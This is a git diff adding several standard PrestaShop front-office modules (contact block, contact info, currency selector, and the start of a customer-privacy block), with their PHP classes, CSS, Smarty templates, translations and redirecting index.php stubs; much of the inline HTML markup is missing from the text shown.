+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcontact/blockcontact.css b/modules/blockcontact/blockcontact.css new file mode 100755 index 0000000..555d71f --- /dev/null +++ b/modules/blockcontact/blockcontact.css @@ -0,0 +1,39 @@ +/* block CONTACT ******************************************************************************* */ +#contact_block .block_content { + padding:10px 0 15px 0; + background: url(images/block_contact_bg.jpg) no-repeat left bottom transparent +} + +#contact_block p { + padding:0 5px 15px 5px; + font-size: 13px; + line-height: 18px +} + +#contact_block .title_block, #contact_block h4 { + padding:6px 11px; + font-size: 12px; + line-height: auto +} +#contact_block p.tel { + margin:0 0 0 60px; + padding-left: 26px; + font: bold 11px/20px Arial, Verdana, sans-serif; + background: url(images/block_contact_pict_tel.png) no-repeat 0 0 transparent +} +#contact_block a { + display:block; + margin-left:60px; + padding:6px 8px; + font:bold 10px Arial,Verdana,sans-serif; + color:#fff; + text-shadow:0 -1px 0 #000; + text-transform:uppercase; + -moz-border-radius:3px; + -webkit-border-radius:3px; + border-radius:3px; + background:url(images/bloc_contact_a_bg.png) repeat-x 0 0 #000 +} +#contact_block a:hover {text-decoration:none} + +#contact_block .label {display: none} diff --git a/modules/blockcontact/blockcontact.jpg b/modules/blockcontact/blockcontact.jpg new file mode 100755 index 0000000..31d9db6 Binary files /dev/null and b/modules/blockcontact/blockcontact.jpg differ diff --git a/modules/blockcontact/blockcontact.php b/modules/blockcontact/blockcontact.php new file mode 100755 index 0000000..df85188 --- /dev/null +++ b/modules/blockcontact/blockcontact.php @@ -0,0 +1,111 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +class Blockcontact extends Module +{ + public function __construct() + { + $this->name = 'blockcontact'; + $this->tab = 'front_office_features'; + $this->version = '1.0'; + + parent::__construct(); + + $this->displayName = $this->l('Contact Block'); + $this->description = $this->l('Allows you to add additional information about your store\'s customer service.'); + } + + public function install() + { + return parent::install() + && Configuration::updateValue('blockcontact_telnumber', '') + && Configuration::updateValue('blockcontact_email', '') + && $this->registerHook('displayRightColumn') + && $this->registerHook('displayHeader'); + } + + public function uninstall() + { + // Delete configuration + return Configuration::deleteByName('blockcontact_telnumber') && Configuration::deleteByName('blockcontact_email') && parent::uninstall(); + } + + public function getContent() + { + $html = ''; + // If we try to update the settings + if (Tools::isSubmit('submitModule')) + { + Configuration::updateValue('blockcontact_telnumber', Tools::getValue('telnumber')); + Configuration::updateValue('blockcontact_email', Tools::getValue('email')); + $this->_clearCache('blockcontact.tpl'); + $html .= '
    '.$this->l('Configuration updated').'
    '; + } + + $html .= ' +

    '.$this->displayName.'

    +
    +
    + + +
     
    + + +
     
    +
    + +
    +
    +
    '; + + return $html; + } + + public function hookDisplayHeader() + { + $this->context->controller->addCSS(($this->_path).'blockcontact.css', 'all'); + } + + public function hookDisplayRightColumn() + { + global $smarty; + if (!$this->isCached('blockcontact.tpl', $this->getCacheId())) + $smarty->assign(array( + 'telnumber' => Configuration::get('blockcontact_telnumber'), + 'email' => Configuration::get('blockcontact_email') + )); + return $this->display(__FILE__, 'blockcontact.tpl', $this->getCacheId()); + } + + public function hookDisplayLeftColumn() + { + return $this->hookDisplayRightColumn(); + } +} +?> diff --git a/modules/blockcontact/blockcontact.tpl b/modules/blockcontact/blockcontact.tpl new file mode 100755 index 0000000..026ffcf --- /dev/null +++ b/modules/blockcontact/blockcontact.tpl @@ -0,0 +1,33 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
    +

    {l s='Contact us' mod='blockcontact'}

    +
    +

    {l s='Our support hotline is available 24/7.' mod='blockcontact'}

    + {if $telnumber != ''}

    {l s='Phone:' mod='blockcontact'}{$telnumber|escape:'htmlall':'UTF-8'}

    {/if} + {if $email != ''}{l s='Contact our expert support team!' mod='blockcontact'}{/if} +
    +
    diff --git a/modules/blockcontact/images/bloc_contact_a_bg.png b/modules/blockcontact/images/bloc_contact_a_bg.png new file mode 100755 index 0000000..0f18fb3 Binary files /dev/null and b/modules/blockcontact/images/bloc_contact_a_bg.png differ diff --git a/modules/blockcontact/images/block_contact_bg.jpg b/modules/blockcontact/images/block_contact_bg.jpg new file mode 100755 index 0000000..b442bc1 Binary files /dev/null and b/modules/blockcontact/images/block_contact_bg.jpg differ diff --git a/modules/blockcontact/images/block_contact_pict_tel.png b/modules/blockcontact/images/block_contact_pict_tel.png new file mode 100755 index 0000000..557b022 Binary files /dev/null and b/modules/blockcontact/images/block_contact_pict_tel.png differ diff --git a/modules/blockcontact/images/index.php b/modules/blockcontact/images/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcontact/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcontact/img/bloc_contact_a_bg.png b/modules/blockcontact/img/bloc_contact_a_bg.png new file mode 100755 index 0000000..0f18fb3 Binary files /dev/null and b/modules/blockcontact/img/bloc_contact_a_bg.png differ diff --git a/modules/blockcontact/img/block_contact_bg.jpg b/modules/blockcontact/img/block_contact_bg.jpg new file mode 100755 index 0000000..b442bc1 Binary files /dev/null and b/modules/blockcontact/img/block_contact_bg.jpg differ diff --git a/modules/blockcontact/img/block_contact_pict_tel.png b/modules/blockcontact/img/block_contact_pict_tel.png new file mode 100755 index 0000000..557b022 Binary files /dev/null and b/modules/blockcontact/img/block_contact_pict_tel.png differ diff --git a/modules/blockcontact/img/index.php b/modules/blockcontact/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcontact/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcontact/index.php b/modules/blockcontact/index.php new file mode 100755 index 0000000..07830d9 --- /dev/null +++ b/modules/blockcontact/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/modules/blockcontact/logo.gif b/modules/blockcontact/logo.gif new file mode 100755 index 0000000..de61441 Binary files /dev/null and b/modules/blockcontact/logo.gif differ diff --git a/modules/blockcontact/logo.png b/modules/blockcontact/logo.png new file mode 100755 index 0000000..63edef6 Binary files /dev/null and b/modules/blockcontact/logo.png differ diff --git a/modules/blockcontact/translations/en.php b/modules/blockcontact/translations/en.php new file mode 100755 index 0000000..2893fe6 --- /dev/null +++ b/modules/blockcontact/translations/en.php @@ -0,0 +1,7 @@ +blockcontact_8b1f7be76996ad6911a17592b9804e1b'] = 'Our support hotline is available 24/7.'; +$_MODULE['<{blockcontact}prestashop>blockcontact_e6d0e56415c30a59658fb34ef5d7be35'] = 'Contact our expert support team!'; diff --git a/modules/blockcontact/translations/fr.php b/modules/blockcontact/translations/fr.php new file mode 100755 index 0000000..13dcbcc --- /dev/null +++ b/modules/blockcontact/translations/fr.php @@ -0,0 +1,17 @@ +blockcontact_0f45a6908556b5b1d7c7d79e60fa3fa7'] = 'Bloc contact'; +$_MODULE['<{blockcontact}prestashop>blockcontact_318ed85b9852475f24127167815e85d9'] = 'Permet d\'ajouter des informations supplémentaires concernant le service client'; +$_MODULE['<{blockcontact}prestashop>blockcontact_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{blockcontact}prestashop>blockcontact_17870f54a180e69e60e84125f805db67'] = 'Numéro de téléphone'; +$_MODULE['<{blockcontact}prestashop>blockcontact_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'E-mail :'; +$_MODULE['<{blockcontact}prestashop>blockcontact_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour les réglages'; +$_MODULE['<{blockcontact}prestashop>blockcontact_02d4482d332e1aef3437cd61c9bcc624'] = 'Contactez-nous'; +$_MODULE['<{blockcontact}prestashop>blockcontact_75858d311c84e7ba706b69bea5c71d36'] = 'Notre service client est disponible 24h/24, 7j/7'; +$_MODULE['<{blockcontact}prestashop>blockcontact_673ae02fffb72f0fe68a66f096a01347'] = 'Tél. :'; +$_MODULE['<{blockcontact}prestashop>blockcontact_736c5a7e834b7021bfa97180fc453115'] = 'Contacter notre service client'; +$_MODULE['<{blockcontact}prestashop>blockcontact_8b1f7be76996ad6911a17592b9804e1b'] = 'Notre service client est disponible 24h/24, 7j/7'; +$_MODULE['<{blockcontact}prestashop>blockcontact_e6d0e56415c30a59658fb34ef5d7be35'] = 'Contacter notre service client'; diff --git a/modules/blockcontact/translations/index.php b/modules/blockcontact/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcontact/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcontactinfos/blockcontactinfos.php b/modules/blockcontactinfos/blockcontactinfos.php new file mode 100755 index 0000000..5e52171 --- /dev/null +++ b/modules/blockcontactinfos/blockcontactinfos.php @@ -0,0 +1,118 @@ + +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +class Blockcontactinfos extends Module +{ + public function __construct() + { + $this->name = 'blockcontactinfos'; + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->tab = 'front_office_features'; + else + $this->tab = 'Blocks'; + $this->version = '1.0'; + + parent::__construct(); + + $this->displayName = $this->l('Block contact info'); + $this->description = $this->l('This module will allow you to display your e-store\'s contact information in a customizable block.'); + } + + public function install() + { + return (parent::install() + && Configuration::updateValue('blockcontactinfos_company', Configuration::get('PS_SHOP_NAME')) + && Configuration::updateValue('blockcontactinfos_address', '') && Configuration::updateValue('blockcontactinfos_phone', '') + && Configuration::updateValue('blockcontactinfos_email', Configuration::get('PS_SHOP_EMAIL')) + && $this->registerHook('header') && $this->registerHook('footer')); + } + + public function uninstall() + { + //Delete configuration + return (Configuration::deleteByName('blockcontactinfos_company') + && Configuration::deleteByName('blockcontactinfos_address') && Configuration::deleteByName('blockcontactinfos_phone') + && Configuration::deleteByName('blockcontactinfos_email') && parent::uninstall()); + } + + public function getContent() + { + $html = ''; + // If we try to update the settings + if (isset($_POST['submitModule'])) + { + Configuration::updateValue('blockcontactinfos_company', ((isset($_POST['company']) && $_POST['company'] != '') ? $_POST['company'] : Configuration::get('PS_SHOP_NAME'))); + Configuration::updateValue('blockcontactinfos_address', ((isset($_POST['address']) && $_POST['address'] != '') ? $_POST['address'] : '')); + Configuration::updateValue('blockcontactinfos_phone', ((isset($_POST['phone']) && $_POST['phone'] != '') ? $_POST['phone'] : '')); + Configuration::updateValue('blockcontactinfos_email', ((isset($_POST['email']) && $_POST['email'] != '') ? $_POST['email'] : Configuration::get('PS_SHOP_EMAIL'))); + $this->_clearCache('blockcontactinfos.tpl'); + $html .= '
    '.$this->l('Configuration updated').'
    '; + } + + $html .= ' +

    '.$this->displayName.'

    +
    +
    +

    +

    +

    +

    +

    +

    +

    +

    +
    + +
    +
    +
    + '; + + return $html; + } + + public function hookHeader() + { + $this->context->controller->addCSS(($this->_path).'blockcontactinfos.css', 'all'); + } + + public function hookFooter($params) + { + if (!$this->isCached('blockcontactinfos.tpl', $this->getCacheId())) + $this->smarty->assign(array( + 'blockcontactinfos_company' => Configuration::get('blockcontactinfos_company'), + 'blockcontactinfos_address' => Configuration::get('blockcontactinfos_address'), + 'blockcontactinfos_phone' => Configuration::get('blockcontactinfos_phone'), + 'blockcontactinfos_email' => Configuration::get('blockcontactinfos_email') + )); + return $this->display(__FILE__, 'blockcontactinfos.tpl', $this->getCacheId()); + } +} +?> diff --git a/modules/blockcontactinfos/blockcontactinfos.tpl b/modules/blockcontactinfos/blockcontactinfos.tpl new file mode 100755 index 0000000..bc5e14f --- /dev/null +++ b/modules/blockcontactinfos/blockcontactinfos.tpl @@ -0,0 +1,37 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
    +

    {l s='Contact us' mod='blockcontactinfos'}

    +
      + {if $blockcontactinfos_company != ''}
    • {$blockcontactinfos_company|escape:'htmlall':'UTF-8'}
    • {/if} + {if $blockcontactinfos_address != ''}
    • {$blockcontactinfos_address|escape:'htmlall':'UTF-8'}
    • {/if} + {if $blockcontactinfos_phone != ''}
    • {l s='Tel' mod='blockcontactinfos'} {$blockcontactinfos_phone|escape:'htmlall':'UTF-8'}
    • {/if} + {if $blockcontactinfos_email != ''}
    • {l s='Email' mod='blockcontactinfos'} {mailto address=$blockcontactinfos_email|escape:'htmlall':'UTF-8' encode="hex"}
    • {/if} +
    +
    + diff --git a/modules/blockcontactinfos/index.php b/modules/blockcontactinfos/index.php new file mode 100755 index 0000000..07830d9 --- /dev/null +++ b/modules/blockcontactinfos/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/modules/blockcontactinfos/logo.gif b/modules/blockcontactinfos/logo.gif new file mode 100755 index 0000000..15471af Binary files /dev/null and b/modules/blockcontactinfos/logo.gif differ diff --git a/modules/blockcontactinfos/logo.png b/modules/blockcontactinfos/logo.png new file mode 100755 index 0000000..93c67f2 Binary files /dev/null and b/modules/blockcontactinfos/logo.png differ diff --git a/modules/blockcontactinfos/translations/en.php b/modules/blockcontactinfos/translations/en.php new file mode 100755 index 0000000..6a52c67 --- /dev/null +++ b/modules/blockcontactinfos/translations/en.php @@ -0,0 +1,7 @@ +blockcontactinfos_d0398e90769ea6ed2823a3857bcc19ea'] = 'Tel'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_6a1e265f92087bb6dd18194833fe946b'] = 'Email'; diff --git a/modules/blockcontactinfos/translations/fr.php b/modules/blockcontactinfos/translations/fr.php new file mode 100755 index 0000000..231f9d6 --- /dev/null +++ b/modules/blockcontactinfos/translations/fr.php @@ -0,0 +1,17 @@ +blockcontactinfos_632535e0cdfd3380906f6b7d40ba78d3'] = 'Bloc infos contact'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_86458ae1631be34a6fcbf1a4584f5abe'] = 'Ajoute un bloc permettant d\'afficher des informations sur les moyens de contacter la boutique'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_c281f92b77ba329f692077d23636f5c9'] = 'Nom de la société'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_dd7bf230fde8d4836917806aff6a6b27'] = 'Adresse'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_1f8261d17452a959e013666c5df45e07'] = 'Numéro de téléphone'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour la configuration'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_02d4482d332e1aef3437cd61c9bcc624'] = 'Contactez-nous'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_2e006b735fbd916d8ab26978ae6714d4'] = 'Tél. :'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_d0398e90769ea6ed2823a3857bcc19ea'] = 'Tél :'; +$_MODULE['<{blockcontactinfos}prestashop>blockcontactinfos_6a1e265f92087bb6dd18194833fe946b'] = 'e-Mail :'; diff --git a/modules/blockcontactinfos/translations/index.php b/modules/blockcontactinfos/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcontactinfos/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcurrencies/blockcurrencies.css b/modules/blockcurrencies/blockcurrencies.css new file mode 100755 index 0000000..1b40e9d --- /dev/null +++ b/modules/blockcurrencies/blockcurrencies.css @@ -0,0 +1,60 @@ +/* block top currencies */ +#header_right #currencies_block_top { + float:right; + margin: 0 6px 0 0; + padding: 2px 6px; + -moz-border-bottom-right-radius: 3px; + -moz-border-bottom-left-radius: 3px; + -webkit-border-bottom-right-radius: 3px; + -webkit-border-bottom-left-radius: 3px; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; + background: none repeat scroll 0 0 #000; +} +#header_right #currencies_block_top p { + clear: left; + padding-right:16px; + font: 11px Arial,Verdana,sans-serif; + color: #ccc; + text-align: right; + background: url("img/block_languages_top_p_bg.png") no-repeat scroll right 1px transparent; +} +#currencies_block_top ul#first-currencies li { + margin-right: 3px +} +#currencies_block_top ul#first-currencies li.selected { + opacity: 1 !important; +} +/*languages with jquery*/ +#setCurrency { + cursor: pointer; + position: relative; + top: 1px; +} +#setCurrency p { + position: relative; + top: 0; + margin-left: 5px; + padding: 0; +} +#setCurrency p img { + padding-left: 5px; +} +#setCurrency .currencies_ul{ + display:none; + z-index: 10000; + padding:10px; + list-style-type:none; +} +#setCurrency .currencies_ul_hover{ + display:block; + z-index: 5000; + position:absolute; + right:3px; + padding:5px 10px; + height:auto; + text-align: center; + width: auto; + background:#000000; +} +#setCurrency .currencies_ul_hover a {color:#fff;} diff --git a/modules/blockcurrencies/blockcurrencies.php b/modules/blockcurrencies/blockcurrencies.php new file mode 100755 index 0000000..2841b1d --- /dev/null +++ b/modules/blockcurrencies/blockcurrencies.php @@ -0,0 +1,84 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockCurrencies extends Module +{ + public function __construct() + { + $this->name = 'blockcurrencies'; + $this->tab = 'front_office_features'; + $this->version = 0.1; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Currency block'); + $this->description = $this->l('Adds a block allowing customers to choose their preferred shopping currency.'); + } + + public function install() + { + return parent::install() && $this->registerHook('top') && $this->registerHook('header'); + } + + private function _prepareHook($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return false; + + if (!count(Currency::getCurrencies())) + return false; + + $this->smarty->assign('blockcurrencies_sign', $this->context->currency->sign); + + return true; + } + + /** + * Returns module content for header + * + * @param array $params Parameters + * @return string Content + */ + public function hookTop($params) + { + if ($this->_prepareHook($params)) + return $this->display(__FILE__, 'blockcurrencies.tpl'); + } + + public function hookHeader($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return; + $this->context->controller->addCSS(($this->_path).'blockcurrencies.css', 'all'); + } +} + + diff --git a/modules/blockcurrencies/blockcurrencies.tpl b/modules/blockcurrencies/blockcurrencies.tpl new file mode 100755 index 0000000..951164f --- /dev/null +++ b/modules/blockcurrencies/blockcurrencies.tpl @@ -0,0 +1,63 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + +
    +
    +

    + + + {l s='Currency' mod='blockcurrencies'} : {$blockcurrencies_sign} +

    +
      + {foreach from=$currencies key=k item=f_currency} +
    • id_currency == $f_currency.id_currency}class="selected"{/if}> + {$f_currency.sign} +
    • + {/foreach} +
    +
    +
    + diff --git a/modules/blockcurrencies/img/block_languages_top_p_bg.png b/modules/blockcurrencies/img/block_languages_top_p_bg.png new file mode 100755 index 0000000..8f6d152 Binary files /dev/null and b/modules/blockcurrencies/img/block_languages_top_p_bg.png differ diff --git a/modules/blockcurrencies/img/index.php b/modules/blockcurrencies/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcurrencies/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcurrencies/index.php b/modules/blockcurrencies/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcurrencies/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcurrencies/logo.gif b/modules/blockcurrencies/logo.gif new file mode 100755 index 0000000..b91777e Binary files /dev/null and b/modules/blockcurrencies/logo.gif differ diff --git a/modules/blockcurrencies/logo.png b/modules/blockcurrencies/logo.png new file mode 100755 index 0000000..8679815 Binary files /dev/null and b/modules/blockcurrencies/logo.png differ diff --git a/modules/blockcurrencies/translations/fr.php b/modules/blockcurrencies/translations/fr.php new file mode 100755 index 0000000..85e885f --- /dev/null +++ b/modules/blockcurrencies/translations/fr.php @@ -0,0 +1,8 @@ +blockcurrencies_f7a31ae8f776597d4282bd3b1013f08b'] = 'Bloc devises'; +$_MODULE['<{blockcurrencies}prestashop>blockcurrencies_80ed40ee905b534ee85ce49a54380107'] = 'Ajoute un bloc permettant au client de choisir sa devise'; +$_MODULE['<{blockcurrencies}prestashop>blockcurrencies_386c339d37e737a436499d423a77df0c'] = 'Devises'; diff --git a/modules/blockcurrencies/translations/index.php b/modules/blockcurrencies/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcurrencies/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcustomerprivacy/blockcustomerprivacy.jpg b/modules/blockcustomerprivacy/blockcustomerprivacy.jpg new file mode 100755 index 0000000..31d9db6 Binary files /dev/null and b/modules/blockcustomerprivacy/blockcustomerprivacy.jpg differ diff --git a/modules/blockcustomerprivacy/blockcustomerprivacy.php b/modules/blockcustomerprivacy/blockcustomerprivacy.php new file mode 100755 index 0000000..b0cf989 --- /dev/null +++ b/modules/blockcustomerprivacy/blockcustomerprivacy.php @@ -0,0 +1,196 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Blockcustomerprivacy extends Module +{ + public function __construct() + { + $this->name = 'blockcustomerprivacy'; + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->tab = 'front_office_features'; + else + $this->tab = 'Blocks'; + $this->version = '1.0'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Customer data privacy block.'); + $this->description = $this->l('Adds a block displaying a message about a customer\'s privacy data. '); + } + + public function install() + { + $return = (parent::install() && $this->registerHook('createAccountForm') && $this->registerHook('header') && $this->registerHook('actionBeforeSubmitAccount')); + Configuration::updateValue('CUSTPRIV_MESSAGE', array($this->context->language->id => + $this->l('The personal data you provide is used to answer queries, process orders or allow access to specific information.').' '. + $this->l('You have the right to modify and delete all the personal information found in the "My Account" page. ') + )); + return $return; + } + + public function getContent() + { + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $iso = $this->context->language->iso_code; + + $output = ''; + if (Tools::isSubmit('submitCustPrivMess')) + { + $message_trads = array(); + foreach ($_POST as $key => $value) + if (preg_match('/custpriv_message_/i', $key)) + { + $id_lang = preg_split('/custpriv_message_/i', $key); + $message_trads[(int)$id_lang[1]] = $value; + } + Configuration::updateValue('CUSTPRIV_MESSAGE', $message_trads, true); + $this->_clearCache('blockcustomerprivacy.tpl'); + $output = '
    '.$this->l('Configuration updated').'
